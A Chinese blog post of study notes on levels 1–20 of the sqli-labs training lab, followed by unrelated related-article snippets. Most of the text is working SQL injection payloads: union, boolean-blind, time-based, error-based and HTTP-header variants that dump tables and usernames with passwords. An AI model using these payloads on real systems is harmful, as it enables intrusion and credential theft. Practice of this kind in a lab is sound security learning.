sqlilabs靶场1—20题学习笔记(思路+解析+方法)

前几个题目较为简单,均尝试使用各种方法进行SQL注入

第一题

联合查询

1)思路:

有回显值

1.判断有无注入点

2.猜解列名数量

3.判断回显点

4.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

2)解题过程:

?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断为单引号注入,且有回显点

猜解列名数量为3

?id=1'order by 3--+

判断回显点:2,3

?id=-1'union select 1,2,3--+

联合注入进行信息收集

爆库、版本号、权限

?id=-1' union select 1,database(),version()--+

?id=-1' union select 1,2,user()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆账号密码

?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+

第二题

解题思路与第一题相同

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

联合查询:

猜解列名数量:3

?id=1 order by 4

判断回显点

?id=-1 union select 1,2,3

爆库、版本号、权限

?id=-1 union select 1,database(),version()--+

?id=-1 union select 1,2,user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1 union select 1,2,(select group_concat(username,password))from users

第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询

猜解列名

?id=1') order by 3--+            

判断回显点

?id=-1') union select 1,2,3--+    

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

第四题

根据报错信息得到注入点是双引号带括号注入

联合查询:

猜解列名

?id=1") order by 3--+            

判断回显点

?id=-1") union select 1,2,3--+    

爆库、版本号、权限

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,user()--+

爆表、爆列

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1") union select 1,2,(select group_concat(username,password))from users

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

 

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+  正常

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+     正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+    正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

第七题

根据报错信息

?id=1' and '1'='1 返回页面正常 ------对应查询SQL:where id=(('1' and '1'='1'));

?id=1' and '1'='2 返回页面报错 ------对应查询SQL:where id=(('1' and '1'='2'));

判断为字符型注入

?id=1" 返回页面正常 ---------对应查询SQL:where id=(('1"'))

?id=1'--+ 返回页面报错 ---------对应查询SQL:where id=(('1'--+')) -----破坏SQL语句原有结构

?id=1')--+ 返回页面报错 --------对应查询SQL:where id=(('1')--+'))

?id=1'))--+ 返回页面正常 --------对应查询SQL:where id=(('1'))--+'))

注入形式为:?id=1'))

没有回显点,尝试盲注,与第五题方法相同

第八题

 

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面不正常,无回显信息

判断为字符型注入

?id=1'--+ 页面正常,无回显信息 SQL查询语句:where id='1'--+'

注入形式为?id=1''

没有回显点,尝试盲注,与第五题方法相同

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

 

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

第十五题

输入信息页面没有回显值

判断为盲注,根据页面显示正确与否猜解数据库信息

当输入1'or 1=1#,找到注入点

布尔盲注:采用第五题解法

第十六题

与15题思路相同

第十七题

B站教学视频很详细

【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili

我将SQL语句在页面中显示,以便更深入学习。

寻找注入点

修改密码的一个页面。

输入正确的账号密码,可以看到,账号为admin,密码修改admin——admin

密码换成123

使用hackbar插件

对username进行注入,会发现输入的 ' 被转义了,寻找其他注入点

对password部分进行注入,发现注入点

报错注入

关于报错注入的知识点:第十一题

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

 

第十八题

1.分析题目

学习博文(包含http请求头的学习):sqli-labs关卡18(基于http头部报错盲注)通关思路_sqli-labs18-CSDN博客

非常详细

我仍将SQL语句在页面中显示,以便更深入学习。

输入正确的账号密码

页面回显ip信息

用户的ip信息与http请求头X-Forwarded-For有关,可以尝试在http请求头注入

查看源码

这里username和password被过滤,无法注入

User-Agent部分可以尝试注入

添加单引号,会发现报错,报错为缺少 ' ',' ') 判断原SQL语句为('$uagent','$ip','$uname');

2.尝试注入

分析过后,页面无回显点,尝试报错注入

正常语句:('$uagent','$ip','$uname')

报错语句:('$uagent'','$ip','$uname')(多了个 ' )

注入语句:'SQL注入',1,1)#

1)爆数据库

1'and updatexml(1,concat(0x7e,(database())),1),1,1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1,1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1,1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1,1)#

第十九题

1.分析题目

输入正确的账号密码,显示referer字段,也是http请求头中的,应该和第十八题思路一样

用Burpsuite抓包,尝试在referer处加 ' 报错

观察报错信息

判断正常语句应为('$uagent','$ip')

查看源码

报错语句:('$uagent'','$ip')

注入语句: 'SQL注入',1)#,'$ip')

2.尝试注入

1)爆数据库

1'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1)#

第二十题

输入正确时,页面显示Cookie值

用Burpsuite抓包,进行报错注入:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/549519.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AI 领域精选高质量信息源分享

我在这篇 ChatGPT 发布一周年的总结文章中大模型时代,程序员如何实现自我成长?——一名普通开发者的 ChatGPT 一周年记,已经推荐了不少优质的信息源,但主要还是偏技术向,随着我自己的身份从纯研发角色转变为产品&#…

【Linux】服务器硬件及RAID配置实战

目录 一、服务器 1.服务器 2.查看服务器信息 二、RAID 磁盘阵列 三、软RAID的创建和使用 1.添加硬盘,fdisk分区,分区类型ID设置为 fd 2.使用mdadm创建软raid 3.格式化 4.挂载使用 5.mdadm 一、服务器 1.服务器 分类机架式居多 塔…

Qt | 事件第二节

Qt | 事件第一节书接上回 四、事件的接受和忽略 1、事件可以被接受或忽略,被接受的事件不会再传递给其他对象,被忽略的事件会被传递给其他对象处理,或者该事件被丢弃(即没有对象处理该事件) 2、使用 QEvent::accept()函数表示接受一个事件,使用 QEvent::ignore()函数表示…

牛客网刷题 | BC51 及格分数

描述 KiKi想知道他的考试分数是否通过,请帮他判断。从键盘任意输入一个整数表示的分数,编程判断该分数是否在及格范围内,如果及格,即:分数大于等于60分,是输出“Pass”,否则,输出“…

【Entity Framework】你必须要了解EF中数据查询之数据加载

【Entity Framework】你必须要了解EF中数据查询之数据加载 文章目录 【Entity Framework】你必须要了解EF中数据查询之数据加载一、概述二、预先加载2.1 包含多个层级2.2 经过筛选的包含 三、显示加载3.1查询关联实体 四、延时加载4.1 不使用代理进行延迟加载 一、概述 Entity…

数据分析(2)

数据分析(2) 本文介绍pandas的另一种数据类型DataFrame,中文叫数据框 DataFrame 定义: DataFrame是一个二维的矩阵数据表,通过行和列,可以定位一个值。 在某种程度上,可以认为DataFrame是“具有相同ind…

自定义类型: 结构体 (详解)

本文索引 一. 结构体类型的声明1. 结构体的声明和初始化2. 结构体的特殊声明3. 结构体的自引用 二. 结构体内存对齐1. 对齐规则2. 为啥存在对齐?3. 修改默认对齐值 三. 结构体传参四. 结构体实现位段1. 什么是位段?2. 位段的内存分配3. 位段的应用4. 位段的注意事项 ​ 前言:…

Python leetcode 2906 构造乘积矩阵,力扣练习,矩阵递推,经典递推题目,递推代码实战

leetcode 2906 构造乘积矩阵,矩阵递推 1.题目描述 给你一个下标从 0 开始、大小为 n * m 的二维整数矩阵 grid ,定义一个下标从 0 开始、大小为 n * m 的的二维矩阵 p。如果满足以下条件,则称 p 为 grid 的 乘积矩阵 : 对于每个元…

JavaWeb前端/后端开发规范——接口文档概述及YApi平台的使用

前言: 整理下笔记,打好基础,daydayup!!! 接口文档 什么是接口文档? 目前主流的开发模式为前后端分离式开发,为了方便前后端的对接,就需要使用接口文件进行统一规范。 接口文档记载什么信息? 1&…

Mac搭建Java环境【环境搭建】

Mac搭建Java环境【环境搭建】 1 安装Java SDK 官网地址:https://www.oracle.com/java/technologies/downloads/archive/ 下载dmg,双击之后无脑安装即可。 # 进入 JDK 安装目录 cd /Library/Java/JavaVirtualMachines# 查看文件 ls# 输入 cd ~# 打开环…

短剧分销系统:引领影视娱乐新潮流,开启内容变现全新模式!

近年来,随着互联网的飞速发展和人们生活节奏的加快,短剧项目在我国逐渐崭露头角,并在短时间内吸引了大量观众和投资者的目光。短剧以其时长短、剧情紧凑、制作精良等特点,迅速在视频市场中占据了一席之地。 一、短剧项目发展现状…

vue学习日记22:非父子通信(拓展)-provideinject

一、概念 二、实践 代码 App <template><div class"app">我是APP组件<button click"change">修改数据</button><SonA></SonA><SonB></SonB></div> </template><script> import SonA …

【C++进阶】详解C++类型转换IO流

C类型转换及IO流 一&#xff0c;C语言的类型转换方式二&#xff0c;C的四种强制类型转换方式2.1 static_cast2.2 reinterpret_cast2.3 const_cast2.4 dynamic_cast 三&#xff0c;C语言的输入和输出四&#xff0c;C的标准IO流五&#xff0c;C文件IO流总结 这一节我们来讲解 C的…

`Spring Cloud OpenFeign`底层实现原理

Spring Cloud OpenFeign工作原理 一 、简介 OpenFeign是Spring Cloud 在Feign的基础上支持了Spring MVC的注解&#xff0c;如RequesMapping等等。 OpenFeign的FeignClient可以解析SpringMVC的RequestMapping注解下的接口&#xff0c;并通过动态代理的方式产生实现类&#xff…

【Git】初识 Git

文章目录 1. 提出问题2. 如何解决&#xff1f;版本控制器3. 注意事项 1. 提出问题 不知道你工作或学习时&#xff0c;有没有遇到这样的情况&#xff1a;我们在编写各种文档时&#xff0c;为了防止文档丢失、更改失误、失误后能恢复到原来的版本&#xff0c;不得不复制出一个副…

Apifox接口测试教程(一)接口测试的原理与工具

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

「GO基础」GO程序组成要素

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

力扣爆刷第119天之CodeTop100五连刷81-85

力扣爆刷第119天之CodeTop100五连刷81-85 文章目录 力扣爆刷第119天之CodeTop100五连刷81-85一、14. 最长公共前缀二、718. 最长重复子数组三、169. 多数元素四、662. 二叉树最大宽度五、128. 最长连续序列 一、14. 最长公共前缀 题目链接&#xff1a;https://leetcode.cn/pro…

腾讯清华联合提出图像到视频生成方法-Follow-Your-Click:点击图像并加上简单提示词就可让图像动起来!

Follow-Your-Click只需单击一次和简短的提示就可以让图像的某一部分动起来&#xff0c;还支持不同的动作表达&#xff0c;比如微笑&#xff0c;悲伤&#xff0c;跳舞…… 相关链接 论文链接&#xff1a;https://arxiv.org/abs/2403.08268 项目链接&#xff1a;https://github…

【每日刷题】Day16

【每日刷题】Day16 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 24. 两两交换链表中的节点 - 力扣&#xff08;LeetCode&#xff09; 2. 160. 相交链表 - 力扣&…
最新文章